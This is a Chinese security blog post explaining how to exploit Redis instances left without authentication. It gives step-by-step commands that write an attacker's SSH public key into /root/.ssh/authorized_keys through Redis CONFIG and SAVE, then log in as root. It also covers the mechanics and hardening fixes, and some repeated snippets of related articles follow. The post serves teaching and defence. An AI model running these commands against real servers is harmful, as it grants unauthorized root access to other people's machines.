<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Redis 未授權訪問漏洞利用總結

    VSole2021-09-15 09:58:36

    Redis 是一個開源的使用 ANSI C 語言編寫、支持網絡、可基于內存亦可持久化的日志型、Key-Value 數據庫,并提供多種語言的 API。

    一、漏洞介紹

    Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis

    服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis

    的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis

    服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。

    漏洞描述

    部分 Redis 綁定在 0.0.0.0:6379,并且沒有開啟認證(這是 Redis

    的默認配置),如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,將會導致 Redis

    服務直接暴露在公網上,導致其他用戶可以直接在非授權情況下直接訪問 Redis 服務并進行相關操作。

    利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的公鑰寫入目標服務器的 /root/.ssh 文件夾的 authotrized_keys 文件中,進而可以直接使用對應的私鑰登錄目標服務器。

    二、漏洞利用

    首先在本地生產公私鑰文件:

    $ ssh-keygen –t rsa
    

    然后將公鑰寫入 foo.txt 文件

    $ (echo -e ""; cat id_rsa.pub; echo -e "") > foo.txt
    

    連接 Redis 寫入文件

    $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK
    

         這里講解下,這里設定了 crackit 的鍵值為公鑰,并通過 redis 命令變更 Redis DB 文件及存放地點為默認 root 用戶 SSH key 存放文件,并將鍵值重定向追加到遠程文件 authorized_keys 的末尾,也就上傳了公鑰。

    這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行:

    $ ssh –i  id_rsa root@192.168.1.11
    

    可遠程利用自己的私鑰登錄該服務器。

    剛剛我們提到公鑰登錄和 Redis 持久化存放數據操作,這里簡單講下原理

    詳細講解 ssh 登錄--公鑰登錄

    SSH 提供了公鑰登錄,可以省去輸入密碼的步驟。

    所謂" 公鑰登錄",原理很簡單,就是用戶將自己的公鑰儲存在遠程主機上。登錄的時候,遠程主機會向用戶發送一段隨機字符串,用戶用自己的私鑰加密后,再發回來。遠程主機用事先儲存的公鑰進行解密,如果成功,就證明用戶是可信的,直接允許登錄 shell,不再要求密碼。

    這種方法要求用戶必須提供自己的公鑰。如果沒有現成的,可以直接用 ssh-keygen 生成一個:

    $ ssh-keygen
    

    運行上面的命令以后,系統會出現一系列提示,可以一路回車。其中有一個問題是,要不要對私鑰設置口令(passphrase),如果擔心私鑰的安全,這里可以設置一個。

    運行結束以后,在 $HOME/.ssh/目錄下,會新生成兩個文件:id_rsa.pub 和 id_rsa。前者是你的公鑰,后者是你的私鑰。

    通常這時再輸入下面的命令,將公鑰傳送到遠程主機 host 上面:

    $ ssh-copy-id user@host
    

    authorized_keys 文件,遠程主機將用戶的公鑰,保存在登錄后的用戶主目錄的 $HOME/.ssh/authorized_keys 文件中。公鑰就是一段字符串,只要把它追加在 authorized_keys 文件的末尾就行了。

    詳細相關的 Redis 持久化命令

    Redis 支持 2 種持久化策略:snapshot 方式和 commandlog 方式,前者通過將當前內存數據快照周期性寫入 RDB

    文件來實現;后者通過在 log 中記錄 Redis 進程收到的寫操作來實現,下次 Redis 重啟時,回放 commandlog

    來恢復數據狀態。

    這里使用 RDB 文件寫入 SSH key 文件,需要設置以下兩個 RDB 相關配置

    dbfilename

    指定 RDB 文件名,默認為 dump.rdb

    dir

    指定 RDB 文件存放目錄的路徑,若包含多級路徑,則相關父路徑需事先 mkdir 出來,否則啟動失敗。

    set(key, value):給數據庫中名稱為 key 的 string 賦予值 value

    最后 Client 使用 save 命令通知 redis 做一次快照持久化

    修復建議/安全建議

    1. 禁止一些高危命令

    修改 redis.conf 文件,添加

    rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""
    

    來禁用遠程修改 DB 文件地址

    2. 以低權限運行 Redis 服務

    為 Redis 服務創建單獨的用戶和家目錄,并且配置禁止登陸

    $ groupadd -r redis && useradd -r -g redis redis
    

    3. 為 Redis 添加密碼驗證

    修改 redis.conf 文件,添加

    requirepass mypassword
    

    4. 禁止外網訪問 Redis

    修改 redis.conf 文件,添加或修改,使得 Redis 服務只在當前主機可用

    bind 127.0.0.1
    

    5. 保證 authorized_keys 文件的安全

    為了保證安全,您應該阻止其他用戶添加新的公鑰。

    authorized_keys 的權限設置為對擁有者只讀,其他用戶沒有任何權限:

    $ chmod 400 ~/.ssh/authorized_keys
    

    為保證 authorized_keys 的權限不會被改掉,您還需要設置該文件的 immutable 位權限:

    # chattr +i ~/.ssh/authorized_keys
    

    然而,用戶還可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目錄和 authorized_keys 文件。要避免這種情況,需要設置 ~./ssh 的 immutable 位權限:

    # chattr +i ~/.ssh
    

    注意: 如果需要添加新的公鑰,需要移除 authorized_keys 的 immutable 位權限。然后,添加好新的公鑰之后,按照上述步驟重新加上 immutable 位權限。

    sshredis
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Scanners-Box 指引#簡介#Scanners-Box是一個集合github平臺上的安全行業從業人員自研開源掃描器的倉庫,包括子域名枚舉、數據庫漏洞掃描、弱口令或信息泄漏掃描、端口掃描、指紋識別以及其他大型掃描器或模塊化掃描器;該倉庫只收錄各位網友自己編寫的一般性開源掃描器,類似nmap、w3af、brakeman等知名掃描工具不收錄。
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill ├─2075 tOAK5Ejl
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill├─2075 tOAK5Ejl
    實戰 | 挖礦木馬排查
    2023-02-22 10:05:36
    └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.con. Active: active since 一 2021-07-12 10:05:01 CST; 4h 52min ago. 真不巧,看起來不是注冊到 systemd 的,那么是誰拉起來的呢?啊,是 crontab非常不巧,我當時一心想找是哪個 service,沒注意到 crontab 的存在,還以為上次的那個挖礦木馬換了個 service 的名字,還去這個路徑找了好久,找了半天也沒有看到惡意的 service 啊突然想到我還沒看 crontab于是打開crontab發現了一條指令他靜靜的呆在那里像是在嘲笑我太菜了,這個套路都沒注意到 :P于是,注釋掉這行,然后對著剛剛 systemd 輸出的三個進程一頓 kill├─2075 tOAK5Ejl
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    漏洞及滲透練習平臺 數據庫注入練習平臺 花式掃描器 信息搜集工具 WEB工具 windows域滲透工具 漏洞利用及攻擊框架 漏洞POC&EXP 中間人攻擊及釣魚 密碼pj 二進制及代碼分析工具 EXP編寫框架及工具 隱寫相關工具 各類安全資料 各類CTF資源 各類編程資源 Python
    2020年9月 ,AWAKE Security的Patrick Olsen調查并報告了僅攜帶XMR Miner有效載荷的僵尸網絡的早期版本。僵尸網絡目前正在使用Weblogic漏洞進行傳播。殺死正在運行的進程,潛在地爭奪挖掘工具并消除EDR。shellscript xms通過curl從bash傳遞到bash,以防萬一失敗,使用wget對其進行提取,執行和刪除,以防止分析。使用base64編碼命令來獲取并執行python腳本,以避免檢測和分析。第一組下載并運行Miner二進制文件和隨附的shell腳本,維護持久性并下載并運行第二組python腳本。
    成功getshell后通過冰蝎上傳了一個哥斯拉shell接下來就是socks5代理了,上傳一個frp后發現服務端關了,事發突然并沒有做什么權限維持,到手的shell飛了經過分析和思考,造成這種情況的原因是直接拿了編譯好的frp沒做免殺,也許內網有全流量,設備報警提醒了,管理員發現異常后直接關機了。
    這是本系列第三篇文章,依舊是某省HVV紅隊的經歷。 過程中只用到很簡單的方法,所以加了個標題“有手就行”。 這家企業在內網犯了幾乎所有能犯的錯誤,打起來也比較順利,只不過當時被管理員發現了,爭分奪秒的過程也比較有趣哈哈。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类